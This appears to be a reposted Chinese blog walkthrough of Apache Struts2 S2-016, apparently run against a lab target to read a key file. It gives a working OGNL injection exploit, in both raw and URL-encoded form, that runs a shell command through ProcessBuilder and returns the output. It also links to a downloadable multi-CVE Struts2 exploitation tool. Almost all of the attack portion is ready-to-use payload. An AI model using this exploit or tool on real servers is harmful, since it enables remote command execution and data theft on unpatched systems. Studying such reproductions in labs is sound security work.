我是靠谱客的博主 聪明黄豆,最近开发中收集的这篇文章主要介绍Apache Struts2远程代码执行漏洞(S2-016),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

漏洞复现

s2-106的漏洞情况,参考链接如下:
https://www.jianshu.com/p/de165430e8a8

验证漏洞:我们可以在后面添加index.action?redirect%25{3*4}
注意后面的链接要进行编码处理

http://124.70.71.251:45251/index.action?redirect:%25%7B3*4%7D

按下回车后,能发现出现了回显
在这里插入图片描述

直接使用exp进行读取。exp如下

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/key.txt'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

对上面的exp进行编码后加上链接访问

http://124.70.71.251:45251/index.action?redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%27cat%27%2C%27%2Fkey.txt%27%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D

得到下载的内容后使用txt打开即获得key
在这里插入图片描述

也可使用综合漏洞利用工具K8 Struts2 进行渗透

链接:https://pan.baidu.com/s/1pCqACA7rVMS_CpoVjD2BmA 提取码:49ic

声明:工具仅供安全检测或网络攻防研究,非法用途后果自负.
支持漏洞 (S2-045 devMode S2-032 s2-020 s2-019 s2-016 s2-013 s2-009 S2-005)
在这里插入图片描述

获得key

在这里插入图片描述

最后

以上就是聪明黄豆为你收集整理的Apache Struts2远程代码执行漏洞(S2-016)的全部内容,希望文章能够帮你解决Apache Struts2远程代码执行漏洞(S2-016)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部